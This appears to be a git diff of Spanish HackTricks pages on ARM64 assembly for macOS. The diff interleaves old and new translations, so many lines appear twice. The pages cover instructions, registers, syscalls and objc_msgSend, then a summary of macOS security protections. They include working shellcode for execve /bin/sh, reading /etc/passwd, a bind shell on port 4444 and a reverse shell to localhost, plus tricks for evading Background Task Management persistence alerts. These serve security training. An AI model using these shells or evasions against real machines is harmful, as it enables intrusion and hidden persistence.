* **`cbz`**: **Comparar y saltar si es cero**. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección.
* Ejemplo: `cbz x0, label` — Si el valor en `x0` es cero, esto salta a `label`.
* **`cbnz`**: **Comparar y Desplazarse en Caso de No Cero**. Esta instrucción compara un registro con cero, y si no son iguales, se desplaza a una etiqueta o dirección.
* **`cbnz`**: **Comparar y saltar si no es cero**. Esta instrucción compara un registro con cero, y si no son iguales, salta a una etiqueta o dirección.
* Ejemplo: `cbnz x0, label` — Si el valor en `x0` no es cero, esto salta a `label`.
* **`tbnz`**: Probar bit y desplazarse en caso de no cero
* Ejemplo: `tbnz x0, #8, label`
* **`tbz`**: Probar bit y desplazarse en caso de cero
* Ejemplo: `tbz x0, #8, label`
* **`tbnz`**: Prueba de bit y salto si no es cero.
* Ejemplo: `tbnz x0, #8, label`.
* **`tbz`**: Prueba de bit y salto si es cero.
* Ejemplo: `tbz x0, #8, label`.
* **Operaciones de selección condicional**: Estas son operaciones cuyo comportamiento varía dependiendo de los bits condicionales.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si es verdadero, X0 = X1, si es falso, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Si es verdadero, Xd = Xn + 1, si es falso, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = NO(Xm)
* `cinv Xd, Xn, cond` -> Si es verdadero, Xd = NO(Xn), si es falso, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = - Xm
* `cneg Xd, Xn, cond` -> Si es verdadero, Xd = - Xn, si es falso, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Si es verdadero, Xd = 1, si es falso, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Si es verdadero, Xd = \<todos 1>, si es falso, Xd = 0
* **`adrp`**: Calcular la **dirección de página de un símbolo** y almacenarla en un registro.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si es verdadero, X0 = X1, si es falso, X0 = X2.
* `csinc Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = Xm + 1.
* `cinc Xd, Xn, cond` -> Si es verdadero, Xd = Xn + 1, si es falso, Xd = Xn.
* `csinv Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = NOT(Xm).
* `cinv Xd, Xn, cond` -> Si es verdadero, Xd = NOT(Xn), si es falso, Xd = Xn.
* `csneg Xd, Xn, Xm, cond` -> Si es verdadero, Xd = Xn, si es falso, Xd = - Xm.
* `cneg Xd, Xn, cond` -> Si es verdadero, Xd = - Xn, si es falso, Xd = Xn.
* `cset Xd, Xn, Xm, cond` -> Si es verdadero, Xd = 1, si es falso, Xd = 0.
* `csetm Xd, Xn, Xm, cond` -> Si es verdadero, Xd = \<todos 1>, si es falso, Xd = 0.
* **`adrp`**: Calcula la **dirección de página de un símbolo** y la almacena en un registro.
* Ejemplo: `adrp x0, symbol` — Esto calcula la dirección de página de `symbol` y la almacena en `x0`.
* **`ldrsw`**: **Cargar** un valor firmado de **32 bits** desde la memoria y **extenderlo a 64** bits.
* Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor firmado de 32 bits desde la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits, y lo almacena en `x0`.
* **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, usando un desplazamiento desde otro registro.
* Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actual en `x1`.
* **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo de usuario a modo kernel** y salta a una ubicación específica en memoria donde se encuentra el código de manejo de **llamadas al sistema del kernel**.
* **`ldrsw`**: **Cargar** un valor **32 bits** con signo de la memoria y **extenderlo a 64** bits.
* Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor de 32 bits con signo de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`.
* **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, usando un desplazamiento de otro registro.
* Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actualmente en `x1`.
* **`svc`** : Realiza una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo usuario a modo núcleo** y salta a una ubicación específica en memoria donde se encuentra el **código de manejo de llamadas al sistema del núcleo**.
* Ejemplo:
```armasm
@ -239,17 +240,15 @@ svc 0 ; Realizar la llamada al sistema.
### **Prólogo de Función**
1. **Guardar el registro de enlace y el puntero de marco en la pila**:
{% code overflow="wrap" %}
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
{% endcode %}
2. **Establecer el nuevo puntero de marco**: `mov x29, sp` (establece el nuevo puntero de marco para la función actual)
2. **Configurar el nuevo puntero de marco**: `mov x29, sp` (configura el nuevo puntero de marco para la función actual)
3. **Asignar espacio en la pila para variables locales** (si es necesario): `sub sp, sp, <size>` (donde `<size>` es el número de bytes necesarios)
### **Epílogo de la Función**
### **Epilogo de la Función**
1. **Desasignar variables locales (si se asignaron)**: `add sp, sp, <size>`
2. **Restaurar el registro de enlace y el puntero de marco**:
@ -260,16 +259,16 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
```
{% endcode %}
3. **Retorno**: `ret` (devuelve el control al llamante usando la dirección en el registro de enlace)
3. **Return**: `ret` (devuelve el control al llamador utilizando la dirección en el registro de enlace)
## Estado de Ejecución AARCH32
Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede alternar entre ellos a través de **`interworking`**.\
Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** ejecutando una transferencia de nivel de excepción al nivel de excepción de menor privilegio de 32 bits.\
Es importante tener en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 desencadenando un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial en **1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena los programas de **`AArch32`** CPSR. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador haga la transición a **`AArch32`** entrando en A32 o T32 dependiendo de CPSR\*\*.\*\*
Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** al ejecutar una transferencia de nivel de excepción al de 32 bits de menor privilegio.\
Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo de CPSR\*\*.\*\*
El **`interworking`** ocurre utilizando los bits J y T de CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Básicamente, esto se traduce en establecer el **bit más bajo en 1** para indicar que el conjunto de instrucciones es T32.\
Esto se establece durante las **instrucciones de rama de interworking,** pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:
El **`interworking`** ocurre utilizando los bits J y T de CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Esto se traduce básicamente en establecer el **bit más bajo en 1** para indicar que el conjunto de instrucciones es T32.\
Esto se establece durante las **instrucciones de salto de interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:
Otro ejemplo:
```armasm
@ -284,16 +283,16 @@ mov r0, #8
```
### Registros
Hay 16 registros de 32 bits (r0-r15). **Desde r0 hasta r14** se pueden utilizar para **cualquier operación**, sin embargo, algunos de ellos suelen estar reservados:
Hay 16 registros de 32 bits (r0-r15). **Desde r0 hasta r14** se pueden usar para **cualquier operación**, sin embargo, algunos de ellos suelen estar reservados:
- **`r15`**: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. En A32 actual + 8, en T32, actual + 4.
- **`r11`**: Puntero de marco
- **`r12`**: Registro de llamada intra-procedimental
- **`r13`**: Puntero de pila
- **`r14`**: Registro de enlace
* **`r15`**: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. En A32 actual + 8, en T32, actual + 4.
* **`r11`**: Puntero de marco
* **`r12`**: Registro de llamada intra-procedimental
* **`r13`**: Puntero de pila
* **`r14`**: Registro de enlace
Además, los registros se respaldan en **`registros bancarios`**. Estos son lugares que almacenan los valores de los registros permitiendo realizar un **cambio de contexto rápido** en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.\
Esto se hace **guardando el estado del procesador desde el `CPSR` al `SPSR`** del modo de procesador al que se lleva la excepción. En los retornos de excepción, el **`CPSR`** se restaura desde el **`SPSR`**.
Además, los registros se respaldan en **`registros bancados`**. Que son lugares que almacenan los valores de los registros permitiendo realizar **cambios de contexto rápidos** en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.\
Esto se hace **guardando el estado del procesador desde el `CPSR` al `SPSR`** del modo del procesador al que se toma la excepción. Al regresar de la excepción, el **`CPSR`** se restaura desde el **`SPSR`**.
### CPSR - Registro de Estado del Programa Actual
@ -303,29 +302,29 @@ En AArch32, el CPSR funciona de manera similar a **`PSTATE`** en AArch64 y tambi
Los campos se dividen en algunos grupos:
- Registro de Estado del Programa de Aplicación (APSR): Banderas aritméticas y accesibles desde EL0
- Registros de Estado de Ejecución: Comportamiento del proceso (gestionado por el sistema operativo).
* Registro de Estado del Programa de Aplicación (APSR): Banderas aritméticas y accesibles desde EL0
* Registros de Estado de Ejecución: Comportamiento del proceso (gestionado por el SO).
#### Registro de Estado del Programa de Aplicación (APSR)
- Las banderas **`N`**, **`Z`**, **`C`**, **`V`** (como en AArch64)
- La bandera **`Q`**: Se establece en 1 cuando ocurre **saturación entera** durante la ejecución de una instrucción aritmética de saturación especializada. Una vez que se establece en **`1`**, mantendrá el valor hasta que se establezca manualmente en 0. Además, no hay ninguna instrucción que verifique su valor implícitamente, debe hacerse leyéndolo manualmente.
- Banderas **`GE`** (Mayor o igual): Se utiliza en operaciones SIMD (Instrucción Única, Múltiples Datos), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar múltiples puntos de datos en una sola instrucción.
* Las banderas **`N`**, **`Z`**, **`C`**, **`V`** (igual que en AArch64)
* La bandera **`Q`**: Se establece en 1 siempre que **ocurra saturación entera** durante la ejecución de una instrucción aritmética de saturación especializada. Una vez que se establece en **`1`**, mantendrá el valor hasta que se establezca manualmente en 0. Además, no hay ninguna instrucción que verifique su valor implícitamente, debe hacerse leyéndolo manualmente.
* Banderas **`GE`** (Mayor o igual): Se utilizan en operaciones SIMD (Instrucción Única, Múltiples Datos), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar múltiples puntos de datos en una sola instrucción.
Por ejemplo, la instrucción **`UADD8`** **suma cuatro pares de bytes** (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego **establece las banderas `GE` en el `APSR`** basándose en estos resultados. Cada bandera GE corresponde a una de las adiciones de bytes, indicando si la adición para ese par de bytes **se desbordó**.
Por ejemplo, la instrucción **`UADD8`** **suma cuatro pares de bytes** (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego **establece las banderas `GE` en el `APSR`** basándose en estos resultados. Cada bandera GE corresponde a una de las sumas de bytes, indicando si la suma para ese par de bytes **desbordó**.
La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condicionales.
#### Registros de Estado de Ejecución
- Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32.
- Registro de Estado de Bloque IT (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**.
- Bit **`E`**: Indica la **extremidad**.
- Bits de Máscara de Modo y Excepción (0-4): Determinan el estado de ejecución actual. El quinto indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta.
* Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32.
* **Registro de Estado del Bloque IT** (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**.
* Bit **`E`**: Indica el **endianness**.
* Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **5to** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se active otra excepción mientras se está manejando esta.
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Ciertas excepciones pueden deshabilitarse utilizando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. El **`I`** se configura para responder a las **Solicitudes de Interrupciones de Hardware** externas (IRQs). y la F está relacionada con las **Solicitudes de Interrupción Rápida** (FIRs).
* **`AIF`**: Ciertas excepciones pueden ser deshabilitadas usando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se activarán **abortos asíncronos**. El **`I`** configura la respuesta a las **Solicitudes de Interrupción de Hardware** (IRQ). y el F está relacionado con las **Solicitudes de Interrupción Rápida** (FIR).
## macOS
@ -333,11 +332,13 @@ La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condi
Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Las llamadas al sistema BSD tendrán **x16 > 0**.
### Trampas de Mach
### Trampas Mach
Consulta en [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) la `mach_trap_table` y en [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) los prototipos. El número máximo de trampas de Mach es `MACH_TRAP_TABLE_COUNT` = 128. Las trampas de Mach tendrán **x16 < 0**, por lo que debes llamar a los números de la lista anterior con un **menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**.
Consulta en [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) la `mach_trap_table` y en [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) los prototipos. El número máximo de trampas Mach es `MACH_TRAP_TABLE_COUNT` = 128. Las trampas Mach tendrán **x16 < 0**, así que necesitas llamar a los números de la lista anterior con un **menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**.
También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para saber cómo llamar a estas llamadas al sistema (y BSD):
También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para encontrar cómo llamar a estas (y BSD) llamadas al sistema:
{% code overflow="wrap" %}
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -347,31 +348,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
```
{% endcode %}
Nota que **Ida** y **Ghidra** también pueden descompilar **dylibs específicas** de la caché simplemente pasando la caché.
{% hint style="success" %}
A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** que revisar el **código fuente** porque el código de varias llamadas al sistema (BSD y Mach) se genera mediante scripts (ver comentarios en el código fuente) mientras que en el dylib puedes encontrar qué se está llamando.
A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente** porque el código de varias syscalls (BSD y Mach) se genera a través de scripts (revisa los comentarios en el código fuente) mientras que en la dylib puedes encontrar lo que se está llamando.
{% endhint %}
### llamadas machdep
XNU admite otro tipo de llamadas llamadas dependientes de la máquina. El número de estas llamadas depende de la arquitectura y ni las llamadas ni los números están garantizados a permanecer constantes.
XNU soporta otro tipo de llamadas llamadas dependientes de la máquina. Los números de estas llamadas dependen de la arquitectura y ni las llamadas ni los números están garantizados para permanecer constantes.
### página comm
### página de comunicación
Esta es una página de memoria del propietario del kernel que se mapea en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer que la transición del modo usuario al espacio del kernel sea más rápida que usar llamadas al sistema para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente.
Esta es una página de memoria de propietario del kernel que está mapeada en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer la transición del modo usuario al espacio del kernel más rápida que usar syscalls para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente.
Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente desde la página comm.
Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente de la página de comunicación.
### objc\_msgSend
Es muy común encontrar esta función utilizada en programas Objective-C o Swift. Esta función permite llamar a un método de un objeto Objective-C.
Es muy común encontrar esta función utilizada en programas de Objective-C o Swift. Esta función permite llamar a un método de un objeto de Objective-C.
Parámetros ([más información en la documentación](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
Parámetros ([más info en la docs](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Puntero a la instancia
* x1: op -> Selector del método
* x2... -> Resto de los argumentos del método invocado
Por lo tanto, si colocas un punto de interrupción antes del salto a esta función, puedes encontrar fácilmente qué se invoca en lldb con (en este ejemplo, el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando):
Así que, si pones un breakpoint antes de la rama a esta función, puedes encontrar fácilmente lo que se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -392,28 +395,28 @@ whoami
{% hint style="success" %}
Estableciendo la variable de entorno **`NSObjCMessageLoggingEnabled=1`** es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`.
Además, configurando **`OBJC_HELP=1`** y llamando a cualquier binario, puedes ver otras variables de entorno que podrías usar para **registrar** cuándo ocurren ciertas acciones de Objc-C.
Además, estableciendo **`OBJC_HELP=1`** y llamando a cualquier binario puedes ver otras variables de entorno que podrías usar para **log** cuando ocurren ciertas acciones de Objc-C.
{% endhint %}
Cuando se llama a esta función, es necesario encontrar el método llamado de la instancia indicada, para esto se realizan diferentes búsquedas:
* Realizar búsqueda de caché optimista:
* Si tiene éxito, terminado
* Realizar búsqueda optimista en caché:
* Si tiene éxito, hecho
* Adquirir runtimeLock (lectura)
* Si (realize && !cls->realized) realizar clase
* Si (initialize && !cls->initialized) inicializar clase
* Si (realizar && !cls->realized) realizar clase
* Si (inicializar && !cls->initialized) inicializar clase
* Intentar caché propia de la clase:
* Si tiene éxito, terminado
* Si tiene éxito, hecho
* Intentar lista de métodos de la clase:
* Si se encuentra, llenar caché y terminado
* Si se encuentra, llenar caché y hecho
* Intentar caché de la superclase:
* Si tiene éxito, terminado
* Si tiene éxito, hecho
* Intentar lista de métodos de la superclase:
* Si se encuentra, llenar caché y terminado
* Si (resolver) intentar resolutor de métodos y repetir desde la búsqueda de clase
* Si todavía está aquí (= todo lo demás ha fallado) intentar reenviador
* Si se encuentra, llenar caché y hecho
* Si (resolver) intentar resolver método, y repetir desde la búsqueda de clase
* Si aún está aquí (= todo lo demás ha fallado) intentar reenviador
### Códigos Shell
### Shellcodes
Para compilar:
```bash
@ -430,7 +433,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
echo -n '\\x'$c
done
```
Para macOS más recientes:
Para macOS más reciente:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -439,7 +442,7 @@ done
```
<details>
<summary>Código C para probar el shellcode</summary>
<summary>C código para probar el shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -561,7 +564,7 @@ sh_path: .asciz "/bin/sh"
#### Leer con cat
El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de parámetros (lo que en memoria significa una pila de direcciones).
El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de parámetros (que en memoria significa una pila de las direcciones).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -631,9 +634,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Shell de conexión
#### Bind shell
Shell de conexión desde [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) en **puerto 4444**
Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) en **puerto 4444**
```armasm
.section __TEXT,__text
.global _main
@ -715,7 +718,7 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### Shell inverso
#### Reverse shell
Desde [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell a **127.0.0.1:4444**
```armasm
@ -785,8 +788,8 @@ mov x16, #59
svc #0x1337
```
{% hint style="success" %}
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -794,7 +797,7 @@ Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Security Protections
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -27,6 +27,10 @@ Más información en:
## Processes Limitants
### MACF
### SIP - System Integrity Protection
{% content-ref url="macos-sip.md" %}
@ -41,7 +45,7 @@ El Sandbox de macOS **limita las aplicaciones** que se ejecutan dentro del sandb
[macos-sandbox](macos-sandbox/)
{% endcontent-ref %}
### TCC - **Transparency, Consent, and Control**
### TCC - **Transparencia, Consentimiento y Control**
**TCC (Transparencia, Consentimiento y Control)** es un marco de seguridad. Está diseñado para **gestionar los permisos** de las aplicaciones, regulando específicamente su acceso a características sensibles. Esto incluye elementos como **servicios de ubicación, contactos, fotos, micrófono, cámara, accesibilidad y acceso completo al disco**. TCC asegura que las aplicaciones solo puedan acceder a estas características después de obtener el consentimiento explícito del usuario, fortaleciendo así la privacidad y el control sobre los datos personales.
@ -51,7 +55,7 @@ El Sandbox de macOS **limita las aplicaciones** que se ejecutan dentro del sandb
### Launch/Environment Constraints & Trust Cache
Las restricciones de lanzamiento en macOS son una característica de seguridad para **regular la iniciación de procesos** definiendo **quién puede lanzar** un proceso, **cómo** y **desde dónde**. Introducidas en macOS Ventura, categorizan los binarios del sistema en categorías de restricción dentro de un **trust cache**. Cada binario ejecutable tiene **reglas** establecidas para su **lanzamiento**, incluidas las restricciones de **auto**, **padre** y **responsable**. Ampliadas a aplicaciones de terceros como **Environment** Constraints en macOS Sonoma, estas características ayudan a mitigar posibles explotaciones del sistema al gobernar las condiciones de lanzamiento de procesos.
Las restricciones de lanzamiento en macOS son una característica de seguridad para **regular la iniciación de procesos** definiendo **quién puede lanzar** un proceso, **cómo** y **desde dónde**. Introducidas en macOS Ventura, categorizan los binarios del sistema en categorías de restricción dentro de un **trust cache**. Cada binario ejecutable tiene **reglas** establecidas para su **lanzamiento**, incluyendo restricciones de **auto**, **padre** y **responsable**. Ampliadas a aplicaciones de terceros como **Environment** Constraints en macOS Sonoma, estas características ayudan a mitigar posibles explotaciones del sistema al gobernar las condiciones de lanzamiento de procesos.
{% content-ref url="macos-launch-environment-constraints.md" %}
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
@ -72,11 +76,11 @@ La aplicación MRT se encuentra en **`/Library/Apple/System/Library/CoreServices
## Background Tasks Management
**macOS** ahora **alerta** cada vez que una herramienta utiliza una técnica bien conocida para persistir la ejecución de código (como elementos de inicio de sesión, demonios...), para que el usuario sepa mejor **qué software está persistiendo**.
**macOS** ahora **alerta** cada vez que una herramienta utiliza una técnica bien conocida para persistir la ejecución de código (como Elementos de Inicio de Sesión, Daemons...), para que el usuario sepa mejor **qué software está persistiendo**.
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
Esto se ejecuta con un **demonio** ubicado en `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` y el **agente** en `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
Esto se ejecuta con un **daemon** ubicado en `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` y el **agente** en `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
La forma en que **`backgroundtaskmanagementd`** sabe que algo está instalado en una carpeta persistente es **obteniendo los FSEvents** y creando algunos **manejadores** para esos.
@ -110,7 +114,7 @@ chmod +x dumpBTM
xattr -rc dumpBTM # Remove quarantine attr
./dumpBTM
```
Esta información se está almacenando en **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** y el Terminal necesita FDA.
Esta información se almacena en **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** y el Terminal necesita FDA.
### Manipulando BTM
@ -135,16 +139,17 @@ kill -SIGSTOP 1011
ps -o state 1011
T
```
* **Error**: Si el **proceso que creó la persistencia existe rápidamente después de él**, el daemon intentará **obtener información** sobre él, **fallará** y **no podrá enviar el evento** indicando que una nueva cosa está persistiendo.
* **Error**: Si el **proceso que creó la persistencia existe rápidamente después de él**, el daemon intentará **obtener información** sobre él, **fallará** y **no podrá enviar el evento** que indica que una nueva cosa está persistiendo.
